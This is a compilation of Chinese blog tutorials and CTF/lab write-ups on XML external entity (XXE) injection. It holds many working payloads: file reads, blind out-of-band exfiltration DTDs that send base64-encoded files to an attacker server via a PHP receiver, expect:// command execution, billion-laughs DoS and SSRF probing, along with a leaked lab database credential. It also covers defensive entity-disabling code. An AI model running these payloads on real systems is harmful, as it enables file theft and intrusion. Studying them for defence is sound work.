-
2021-04-17 15:00:41
实验环境:
皮卡丘靶场—XXE实验步骤:
- 提交一个无害的内部实体:
<?xml version="1.0"?> <!DOCTYPE note [ <!ENTITY hacker "1111"> ]> <name>&hacker;</name>
2. 指定读取系统文件:<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///c:/windows/system.ini"> ]> <name>&f;</name>
更多相关内容 -
25、XXE-- XML外部实体注入攻击
2021-04-07 15:23:34XML External Entity (XML外部实体) 原理:用户输入的数据被当做XML实体代码进行执行 XXE==>用户输入的数据被当做XML代码进行了执行,然后利用DTD部分可以通过SYSTEM关键词发起网络请求从而获得数据 XML 可...概述
XXE ==>XML External Entity (XML外部实体)
原理:用户输入的数据被当做XML实体代码进行执行
XXE==>用户输入的数据被当做XML代码进行了执行,然后利用DTD部分可以通过SYSTEM关键词发起网络请求从而获得数据XML
- 可扩展标记语言
- 设计宗旨:传输数据,而非显示数据
- xml标签没有被预定义,需要自定义标签
特点
- XML仅是存文本,不会执行任何事情
- XML可以自己发明标签(允许定义自己的标签和文档结构)
XML是各种应用程序之间进行数据传输的最常见工具,并且在信息存储和描述领域变得越来越流行
简单来说:XML就是存储数据的
外部实体
DTD部分里面的一个特殊的地方(SYSTEM)可以调用外部文件进行XML文件的规划(发起网络请求)
格式:<!ENTITY 实体名称 SYSTEM "URI">
PHP特殊函数
在php中有一个特殊函数:simplexml_load_string()
定义:simplexml_load_string(data,classname,options,ns,is_prefix);
作用:simplexml_load_string() 函数转换形式良好的 XML 字符串为 SimpleXMLElement 对象
危害
- 任意文件读取
- 系统命令执行
- 内网端口探测
- 攻击内网网站
- …
payload
很多时候后端语言解析了XML后并不会输出,故需要一个平台去接收数据
XML读取数据然后发送到接收的平台,然后接收平台存储XXE 攻击三步骤 ==> 读取信息 信息外带 保存信息
读取信息:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=敏感信息所在路径"> base64加密读取的信息存放在file变量中
XXE可以发起网络请求
思路:
尝试将读取的信息存放在变量a( a ) , 然 后 发 起 请 求 , h t t p : / / x . x . x . x / 1. p h p ? i d = a),然后发起请求,http://x.x.x.x/1.php?id= a),然后发起请求,http://x.x.x.x/1.php?id=a
自己的公网机器保存收到的传参1.xml <!ENTITY % all "<!ENTITY % send SYSTEM 'http://自己公网ip/xxe/2.php?id=%file;'>" > %all; 通过2.php文件 接收变量file的传参值 2.php代码: <?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?> 以GET方式接收id传入的值,并写入到3.txt <!ENTITY % remote SYSTEM "http://自己公网ip/xxe/1.xml"> 加载1.xml文件
只需要读取文件然后加载1.xml,1.xml会将读取文件的内容发送给2.php。2.php会储存到3.txt
payload:
?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=敏感文件路径"> <!ENTITY % remote SYSTEM "http://自己公网ip/xxe/1.xml"> %remote; %send; ]>
防御
-
使用开发语言提供的禁用外部实体的方法
-
过滤用户提交的XML数据
关键词:SYSTEM和PUBLIC
靶场
1、进入靶场,观察到是CMS搭建的
2、下载与靶场相同的CMS,导入源码到seay,进行代码审计
3、定位simplexml_load_string函数
4、打开weixin文件夹下的idnex.php
4、代码分析:
simplexml_load_string($postArr)==>将变量postArr转换为对象 &postArr 是一个XML字符串 $postArr = file_get_contents("php://input") file_get_contents()==>整个文件读入在一个字符串中 php://input==>PHP伪协议,只能在php内部使用; 可以访问请求的原始数据的只读流
往上溯源
第一个if
if ($echostr != “”)==>如果echostr变量不等于空才会执行这个分支要使得第二个if分支执行,那么echostr变量等于空
第二个if
if ($signature != “” && $echostrechostr== “”)
==>signature变量不等于空 并且 echostr等于空 才会执行该if分支$signature = $_REQUEST["signature"]; $echostr = $_REQUEST["echostr"] 故可通过传参控制$signature和$echostr
5、观察发现该cms的敏感文件位于conn文件夹下的conn.php
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../conn/conn.php">
该文件中存放了数据库的用户名、密码、数据库名
读取信息 payload:6、访问靶场下的weixin页面
7、抓包,传参
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
传参:?signature=1&echostr=
写入数据:
?xml version=“1.0”?>%remote;
%send;
]>
8、传参被检测
检测传参 一般只针对$_POST、$_GET、$_REQUEST、$_COOKIE
Content-Type:application/x-www-form-urlencoded
类型为表单
因为是表单,所以才会被POST/GET…接收,故删除Content-Type即可
发送成功9、访问3.txt,获得信息,进行解码得到
$conn = mysqli_connect(“192.168.0.10”,“xxe”, “teiwo!8#7ERe1DPC”, “scms”);
用户名:xxe
密码:teiwo!8#7ERe1DPC
数据库名:scms10、通过目录扫描知道有adminer.php,进行访问
登录获取的账号密码数据库名
11、通过执行 select * from SL_admin
得到SL_admin表的所有信息
12、通过提示信息得知flag为管理员的密码
故将admin的A_pwd字段进行md5解码
13、通关
-
XXE(XML External Entity attack)XML外部实体注入攻击
2018-08-15 15:22:41XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load 默认...导语
XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load 默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。
尽管XXE漏洞已经存在了很多年,但是它从来没有获得它应有的关注度。很多XML的解析器默认是含有XXE漏洞的,这意味着开发人员有责任确保这些程序不受此漏洞的影响。 比如今年7月刚爆出的微信支付XXE漏洞案例。
libxml2.9.1及以后,默认不解析外部实体。可以在此了解libxml各版本具体改动情况。本次测试在Window下使用的php5.4.45(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。当XML声明中standalone值是yes的时候表示DTD仅用于验证文档结构,外部实体将被禁用。但它的默认值是no,而且有些parser会直接忽略这一项。
XML外部实体
本文主要讲外部实体注入攻击,所以基本的XML语法就不过多的描述。主要看一下DTD-实体。
首先让我们了解一下基本的PAYLOAD结构:
DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。实体分为一般实体和参数实体
1. 一般实体的声明:
<!ENTITY 实体名称 "实体内容">
引用一般实体的方法:
&实体名称;
p.s.经实验,普通实体可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用。
2. 参数实体的声明:
<!ENTITY % 实体名称 "实体内容">
引用参数实体的方法:
%实体名称;
p.s.经实验,参数实体只能在DTD中引用,不能在声明前引用,也不能在实体声明内部引用。
如果实体名称中出现如
<
的特殊字符,解析就会失败。为了避免这种情况,XML用实体引用替换特殊字符。XML预定义了五个实体引用,即用<
、>
、&
、&apos
、"
替换<
、>
、&
、'
、"
。DTD实体声明(重点)
1. 内部实体声明
<!ENTITY 实体名称 "实体的值">
当引用一般实体时,由三部分构成:
&
、实体名
、;
,当是用参数传入xml的时候,&
需URL编码,不然&
会被认为是参数间的连接符号。示例:
<?xml version = "1.0" encoding = "utf-8"?> <!DOCTYPE test [ <!ENTITY writer "Dawn"> <!ENTITY copyright "Copyright W3School.com.cn"> ]> <test>&writer;©right;</test>
2. 外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
外部实体可支持http、file等协议。不同程序支持的协议不同,如下图:
其中PHP支持的协议会更多一些,但是需要一定的扩展支持:示例:
<?xml version = "1.0" encoding = "utf-8"?> <!DOCTYPE test [ <!ENTITY file SYSTEM "file:///etc/passwd"> <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> ]> <author>&file;©right;</author>
XXE的攻击与危害
当我们了解清楚以上的信息后,我们就能理解如何构造外部实体注入攻击与它的危害性了。
如何构造外部实体注入攻击
一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据。
有回显的payload写法:
-
直接通过DTD外部实体声明。XML内容如下:
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY test SYSTEM "file:///etc/passwd"> ]> <abc>&test;</abc>
-
通过DTD文档引入外部DTD文档,再引入外部实体声明。XML内容如下:
<?xml version="1.0"?> <!DOCTYPE a SYSTEM "http://localhost/evil.dtd"> <abc>&b;</abc>
evil.dtd内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
-
通过DTD外部实体声明引入外部实体声明。XML内容如下:
<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY % d SYSTEM "http://localhost/evil.dtd"> %d; ]> <abc>&b;</abc>
evil.dtd内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
但是如果想通过如下声明是不可以的:
<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY d SYSTEM "http://localhost/evil.xml"> ]> <abc>&d;</abc>
测试发现这种实体调用外部实体,发现evil.xml中不能定义实体,否则解析不了,参数实体就好用很多。
无回显的payload写法:
-
第一种无回显示payload写法:
<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY % file SYSTEM "file:///c://test/1.txt"> <!ENTITY % dtd SYSTEM "http://localhost/evil.xml"> %dtd; %all; ]> <abc>&send;</abc>
其中evil.xml文件内容为
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost%file;'>">
调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用实体send。
-
第二种无回显payload写法:
<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt"> <!ENTITY % dtd SYSTEM "http://localhost/evil.xml"> %dtd; %send; ]> <abc></abc>
其中evil.xml文件内容为:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;
调用过程和第一种方法类似,但最里层的嵌套里
%
要进行实体编码成%
。无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。
这里注意参数实体引用
%file;
必须放在外部文件里,因为根据这条 规则 。在内部DTD里,参数实体引用只能和元素同级而不能直接出现在元素声明内部,否则解析器会报错:PEReferences forbidden in internal subset
。这里的internal subset
指的是中括号[]
内部的一系列元素声明,PEReferences
指的应该是参数实体引用Parameter-Entity Reference
。一般都使用第二种方法,因为当文件中含有中文字符或
<
字符,会导致不能解析。XXE带来的危害
利用xxe漏洞可以进行文件读取,拒绝服务攻击,命令(代码)执行,SQL(XSS)注入,内外扫描端口,入侵内网站点等。内网探测和入侵是利用xxe中支持的协议进行内网主机和端口发现,可以理解是使用xxe进行SSRF的利用,基本上啥都能做。
首先准备一个有XXE漏洞的文件,本次测试以php为主:
<?php $xml = simplexml_load_string($_REQUEST['xml']); echo "<pre>" ; print_r($xml);//注释掉该语句即为无回显的情况 ?>
危害1.读取任意文件
有回显情况:
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY test SYSTEM "file:///E://phpStudy/PHPTutorial/WWW/etc/passwd.txt"> ]> <abc>&test;</abc>
无回显情况:
本次测试用的phpStudy,需开启apache日志记录并重启服务。当无回显情况时,可以讲数据发送到远程服务器。
<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=E://phpStudy/PHPTutorial/WWW/etc/passwd.txt"> <!ENTITY % dtd SYSTEM "http://localhost/evil.xml"> %dtd; %send; ]> <abc></abc>
远程服务器部署evil.xml内容为:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;
YWRtaW46OnBhc3N3b3JkIQ0KdGVzdDo6cGFzc3dkIQ==
Base64解码即可。通过此方法可以读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件、获取帐号密码后进一步攻击。如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。
危害2.拒绝服务攻击
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
此示例就是著名的Billion laughs attack该攻击是通过创建一项递归的 XML 定义,在内存中生成十亿个"Ha!"字符串,从而导致 DoS 攻击。
原理:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。
危害3.远程命令(代码)执行
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY test SYSTEM "expect://id"> ]> <abc>&test;</abc>
此示例是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能有此漏洞。
危害4.内网信息探测
利用http协议http://url/file.ext,替换标准poc中相应部分即可,这种情况比较不稳定,根据不同xml解析器会得到不同的回显报错结果。
有回显情况:
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY test SYSTEM "http://127.0.0.1:87/tets.txt"> ]> <abc>&test;</abc>
当端口开放时,如80端口:
当端口未开放时,如81端口:
无回显情况:
<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:81/"> <!ENTITY % dtd SYSTEM "http://localhost/evil.xml"> %dtd; %send; ]> <abc></abc>
远程服务器部署evil.xml内容为:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;
观察日志文件即可。
当端口开放时,如80端口:
当端口未开放时,如81端口:
有的无回显的情况还可以通过抓包看响应头返回的状态码,返回的报错信息等判断。
危害5.攻击内网网站
难得搭建环境,就直接引用网上的例子吧:
这个示例是攻击内网strusts2网站,远程执行系统命令。
还可部署bash文件建立监听,获得反弹shellcode等。
由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。
CTF题目
本人是个CTFer,所以再结合两道CTF题目,更加深入理解此攻击。
JarvisOJ——api调用
请设法获得目标机器/home/ctf/flag.txt中的flag值。
先查看源码:
再看响应:
开始以为是考反序列化,但根据提示和结果发现不是。这个页面仅仅是向后台发送请求,后台再响应返回几个特定的字符串,修改请求值,发现返回与前台的输入没多大关系。最后,知道是XXE。这道题目,默认的是json格式传递,因此首先我们更改Content-Type的值为application/xml,然后传入xml代码:
<?xml version=”1.0″?> <!DOCTYPE a[ <!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">]> <abc>&xxe;</abc>
DDCTF——喝杯Java冷静下
http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/
提示:第二层关卡应用版本号为2.3.1
此题目有点难,由于技术不到位,有的地方不是很清楚就不误导读者了。
直接看看大佬的姿势吧:
DDCTF2018 WEB6 喝杯Java冷静下 WRITEUP —— LZ1Y
DDCTF 2018 Web Writeup —— 白帽100安全攻防实验室
真实案例
-
在线文件预览引起的问题,修改docx文件的word/document.xml,添加DTD和实体引用,即可触发,可据此生成恶意的Word文档。
1. [WooYun-2014-73321(网易邮箱某处XXE可读取文件)](http://www.anquan.us/static/bugs/wooyun-2014-073321.html) 2. [WooYun-2014-73439(QQ邮箱XXE可读取任意文件)](http://www.anquan.us/static/bugs/wooyun-2014-073439.html)
-
直接处理POST XML数据。许多都是直接 simplexml_load_string() 处理POST进来的数据。可控字符串出现在XML文件里就要引起注意。
1. [WooYun-2015-109725(中通某处XXE漏洞可读取服务器任意文件)](http://www.anquan.us/static/bugs/wooyun-2015-0109725.html)
-
XML处理工具
-
WooYun-2014-58381(百度某功能XML实体注入)该功能点提供svg转jpg服务,通过构造特殊svg文件注入。
-
WooYun-2014-59783(百度某功能XML实体注入(二))在第一次修复后只过滤了ENTITY这个词,DTD 本身就支持调用外部的DTD文件,因此我们只需要在svg里加一个外部的DTD就绕过了。
-
WooYun-2015-111828(博客园某处XXE可下载任意文件)博客搬家功能,导入XML。
-
WooYun-2015-117316(用友人力资源管理软件全版本XXE漏洞 )登陆与重置密码时使用XML传输数据。
-
WooYun-2015-148793(AOL Website XML External Entity(XXE) Vulnerability)xmlrpc service。
-
WooYun-2015-156208(国际php框架slim架构上存在XXE漏洞(XXE的典型存在形式))服务端根据请求的 content-type 来区别对待提交的数据。application/x-www-form-urlencoded 、application/json 、application/xml 被用不同的方式解析。XML直接调用 simplexml_load_string 处理导致漏洞。有趣的是旧版本对该问题做了防范,新版本去除了相关代码,可能是觉得新版本对PHP版本需求在5.5以上。实际上PHP是否解析外部实体与本身版本无关,与编译时libxml库版本有关。
-
WooYun-2016-168457(唯品会存在Blind XXE 漏洞)。作者说 关于XXE,觉得漏洞本身没太多的玩点,比较有意思主要在于:不同语言处理URI的多元化和不同XML解析器在解析XML的一些特性。 xfire是流行的webservice开发组件,其在invoke时使用了STAX解析XML导致XML实体注入发生 。乌云上一大波XXE洞都是这个,详细说明见 WooYun-2016-166751(Xfire文件读取漏洞)。
-
WooYun-2014-59911(从开源中国的某XXE漏洞到主站shell)XXE读取到脚本文件/home/run/ssh_go.sh,内含SSH登陆密码。
-
Revisting XXE and abusing protocols 【XXE+expect模块=>Facbook RCE】
-
XXE on Windows system …then what ?? 【XXE+SMB=>内网RCE】
- Apache Solr XXE漏洞分析 【CVE-2018-8026】
XXE自动化工具
XXEinjector:一款功能强大的自动化XXE注射工具。
本文就不具体演示、讲述此工具了。推荐一篇文章,详细的讲述了其使用方法,最后还附了XXEinjector工具的下载。
寻找XXE
检测xml是否被解析
尝试注入特殊字符,使XML失效,引发解析异常,明确后端使用XML传输数据。
- 单双引号
'
"
:XML的属性值必须用引号包裹,而数据可能进入标签的属性值。 - 尖括号
< >
:XML的开始/结束标签用尖括号包裹,数据中出现尖括号会引发异常。 - 注释符
<!--
:XML使用<!-- This is a comment -->
作注释。 &
:& 用于引用实体。- CDATA 分隔符
]]>
:<![CDATA[foo]]>
中的内容不被解析器解析,提前闭合引发异常。
检测是否支持外部实体解析
尝试利用实体和DTD。
- 引用外部DTD文件访问内网主机/端口 :
<!DOCTYPE a SYSTEM "http://127.0.0.1:2333">
(看响应时间) - 引用外部DTD文件访问外网 :
<!DOCTYPE a SYSTEM "http://vps_ip" >
- 引用内部实体 :
<!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>
- 外部实体读本地文件 :
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><a>&xxe;</a>
- 外部实体访问内网主机/端口 :
<!DOCTYPE a SYSTEM "http://192.168.1.2:80">
(看响应时间) - 外部实体访问外网 :
<!DOCTYPE a [<!ENTITY xxe SYSTEM "http://vps_ip">]><a>&xxe;</a>
- 判断问题存在可以OOB提取数据。
XXE的防御
- 使用开发语言提供的禁用外部实体的方法
PHP
libxml_disable_entity_loader(true);
JAVA
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
- 过滤用户提交的XML数据
过滤关键词:
<!DOCTYPE
和<!ENTITY
,或者SYSTEM
和PUBLIC
。参考资料
- http://www.freebuf.com/column/156863.html
- https://security.tencent.com/index.php/blog/msg/69
- https://xz.aliyun.com/t/2571#toc-10
- http://www.w3school.com.cn/dtd/
大家有任何问题可以提问,更多文章可到i春秋论坛阅读哟~
-
-
XML 外部实体注入漏洞
2021-11-14 19:35:350x01 XXE(XML外部实体注入)漏洞 1.1 漏洞原因 1.2 漏洞构造方式 1.3 XML可解析的协议 0x02 寻找XXE漏洞隐藏的攻击面 2.1 XInclude攻击 2.2 通过文件上传进行XXE攻击 2.3 通过修改Content-Type头进行XXE攻击...
0x01 XXE(XML外部实体注入)漏洞
1.1 漏洞原因
XML外部实体注入(XML Extenrnal Entity Injection),简称XXE漏洞。引发XXE漏洞的主要原因是XML解析依赖库libxml默认开启了对外部实体的引用,导致服务端在解析用户提交的XML信息时未作处理直接进行解析,导致加载恶意的外部文件和代码,造成任意文件读取,命令执行、内网扫描等危害。
libxml<2.9 默认开启
1.2 漏洞构造方式
1.2.1 直接通过DTD外部实体声明
<?xml version="1.0"?> <!DOCTYPE a[ <!ENTITY b SYSTEM "file:///etc/passwd"> ]> <a>&b;</a>
1.2.2 通过DTD外部实体声明引入外部DTD文档
#构造数据包 <?xml version="1.0"?> <!DOCTYPE m [ <!ENTITY b SYSTEM "http://mark4z5.com/evil.dtd"> ]> <a>&b;</a> #而http://mark4z5.com/evil.dtd内容为 <!ENTITY b SYSTEM "file:///etc/passwd">
1.2.3 通过DTD外部实体声明引入DTD文档
# 构造数据包 <?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY %b SYSTEM "http://mark4z5.com/evil.dtd"> ]> <a>%b;</a> #http://mark4z5.com/evil.dtd文件内容 <!ENTITY b SYSTEM "file:///etc/passwd">
1.3 XML可解析的协议
libxml2
file、http、ftp
PHP
file、http、ftp、php、glob、data...
JAVA
file、http、ftp、https、jar、gopher...
.NET
file、http、ftp、https
0x02 寻找XXE漏洞隐藏的攻击面
XXE漏洞的攻击面通常为HTTP传输流量下的XML数据请求,但是在其他方面可能也存在XXE漏洞。
2.1 XInclude攻击
一些应用程序在用户提交数据后,服务器将数据嵌入到XML文档中,然后对XML进行解析。例如当客户端提交的数据被放入后端的SOAP请求,然后由SOAP服务处理时,就会发生这种情况。
由于无法控制XML文档,对DTD文档进行修改触发而XXE漏洞,我们可以使用Xinclude进行攻击。XInclude 是一种使用元素、属性以及 URI 引用来合并 XML 文档的机制,它是XML规范的一部分,允许在子文档中构建XML文档。我们可以在XML文档中放入恶意数据来进行XInclude攻击,攻击条件为我们可以控制传输中的数据,将其替换为服务器短的XML文件。
通过参考XInclude命名空间和提供我们想要包含的文件路径,可以完成XInclude的XXE攻击。
<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>
2.2 通过文件上传进行XXE攻击
一些应用程序允许上传使用XML或者包含XML组件的格式文件,并且在服务端会对其进行处理、验证,常见的有DOCX、SVG等格式。
尤其在图片上传中,服务端可能期望获取到PNG、JPG格式的图片,但是服务端使用的处理库可能同样是支持SVG格式的,所以我们可以通过上传SVG格式的图片来进行XXE攻击。
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
2.3 通过修改Content-Type头进行XXE攻击
大多数情况下,POST请求包使用的是默认的application/x-www-form-urlencoded。有些网站希望接收这种格式的请求,但会容忍其他内容类型,包括XML。
# 普通的请求包: POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 7 foo=bar # 可以替换为: POST /action HTTP/1.0 Content-Type: text/xml Content-Length: 52 <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
如果应用程序容忍消息正文中包含 XML 的请求,并将正文内容解析为 XML,那么您只需将请求重新格式化为使用 XML 格式即可到达隐藏的 XXE 攻击面。
0x03 如何查找和测试XXE漏洞
通过定义一个指向系统文件的外部实体,尝试对系统文件目录进行遍历,查看返回包是否包含XXE注入信息。
构建http://dnslog.cn/等基于可控的外部实体注入,然后对可控URL进行监控,判断是否存在XXE漏洞。
对于用户端使用非XML文档交互的接口,使用XInclude攻击来尝试包含一个有用的系统文件。
参考资料:
XXE漏洞详解(XML外部实体注入)_谢公子的博客-CSDN博客
What is XXE (XML external entity) injection? Tutorial & Examples | Web Security Academy
-
XML外部实体注入(XEE)的原理和应用
2020-08-27 22:16:22XXE注入全称是xml external entity 注入,也就是xml外部实体注入。XXE漏洞发生在应用程序解析输入的XML时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取,命令执行等攻击。 一、XML简介 XML是一... -
(十二)XML外部实体(XXE)注入
2021-04-16 15:11:17目录一、什么是XML外部实体注入?二、XXE漏洞如何产生?什么是XML?什么是XML实体?什么是文件类型定义(DTD)?...XML外部实体注入(也称为XXE)是一个Web安全漏洞,它使攻击者能够干扰应用程序对XML数据的处理。它通 -
Xml外部实体注入漏洞(XXE)与防护
2019-03-22 16:19:11转自腾讯安全应急响应中心 一、XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言...DTD 可以在 XML 文档内声明,也可以外部引用。 ... -
XXE—XML外部实体注入
2022-04-18 11:15:11DTD元素 0x03、XXE漏洞原理 XXE -“xml external entity injection” “xml外部实体注入漏洞” 概括一下就是"“攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题” 也就是... -
XML外部实体注入漏洞(XXE)
2021-02-28 17:52:35转自腾讯安全应急响应中心一、XML基础知识XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一...DTD 可以在 XML 文档内声明,也可以外部引用。内部声明DTD根元素 [元素声明]>引... -
XXE(XML外部实体注入)详解
2022-01-20 10:44:20XXE(XML External Entity Injection)又称为“XML外部实体注入漏洞”。 当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。例如,如果你当前使用的... -
防止 XML外部实体注入
2021-02-28 17:53:08方式一DocumentBuilderFactory dbf = DocumentBuilderFactory.... 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击String FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";dbf.setFea... -
XML外部实体注入漏洞——XXE简单分析
2021-01-10 17:53:57今天借着比赛中的一道Web题 来系统的学习下XML外部实体注入(XML External Entity Injection) 题目:Fake XML cookbook 题目:Fake XML cookbook 平台暂时还未关闭,想要复现的抓紧了! 网址:... -
XXE漏洞-XML 外部实体注入
2022-02-10 21:51:56XXE漏洞-XML 外部实体注入xxe介绍xml基础知识新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入...Xml外部实体注入漏洞(XML External Entity Injection)简称XXE,XXE漏洞 -
XML外部实体注入(XXE)
2021-09-08 11:32:05关键利用点:外部实体 XML是什么? XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD...1.2 在 XML 声明和stockCheck元素之间插入以下外部实体定义: <!DOCTYPE test [ <!ENTITY xxe SYSTEM "fil -
网络安全-XXE(XML外部实体注入)原理、攻击及防御
2020-09-07 16:45:17禁用外部实体 过滤用户提交的XML数据 前言 XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 博主之前用xml也没有使用过DTD,因为是可选的嘛,这里就简单说一下,学过的跳过。 DTD(文档类型定义... -
[轉]XXE(XML External Entity attack)XML外部实体注入攻击
2020-03-26 16:09:13XML外部实体 本文主要讲外部实体注入攻击,所以基本的XML语法就不过多的描述。主要看一下DTD-实体。 首先让我们了解一下基本的PAYLOAD结构: DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义... -
XML外部实体注入学习
2021-08-25 22:45:10最近做题做到XXE 这类型的题,也没有系统学习过,只是简单知道他和 XML 有关,这次就了解了一下XXE 漏洞 简单了解XML XML 指可扩展标记语言(EXtensible Markup Language) XML 是一种标记语言,很类似 HTML XML 被... -
xml外部实体注入(XXE)
2020-12-10 08:38:12XXE(xml外部实体注入) XML External Entity XXE介绍 XXE原理 建立*.dtd <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt"> <!ENTITY % int "<!... -
xxe-xml外部实体注入
2021-07-27 02:57:41XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是什么?XML外部实体。(看到这里肯定有人要说:你这不是在废话),固然,其实我这里废话只是想强调我们的... -
XXE(XML外部实体注入)漏洞
2019-08-01 11:28:33如果你的应用是通过用户上传处理XML...简单来说,XXE全称是——XML External Entity,就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内... -
JAXB血案之 XML外部实体注入漏洞(XXE)
2019-04-22 17:31:51XML外部实体注入漏洞,即XXE(XML External Entity),此漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等... -
XML外部实体注入
2019-11-19 20:40:06最近做了一道WEB题,涉及到XML外部实体注入(即XXE漏洞),恰好也没有系统的学习过,这次就了解一些其攻击方式包含的原理,并通过WEB题来实战一番。 0x01:简单了解XML XML 指可扩展标记语言(EXtensible Markup ... -
Xml实体注入漏洞姿势总结
2022-03-08 17:35:53Xml实体注入漏洞姿势总结 -
Spring Framework多个XML外部实体注入漏洞(CVE-2013-4152)
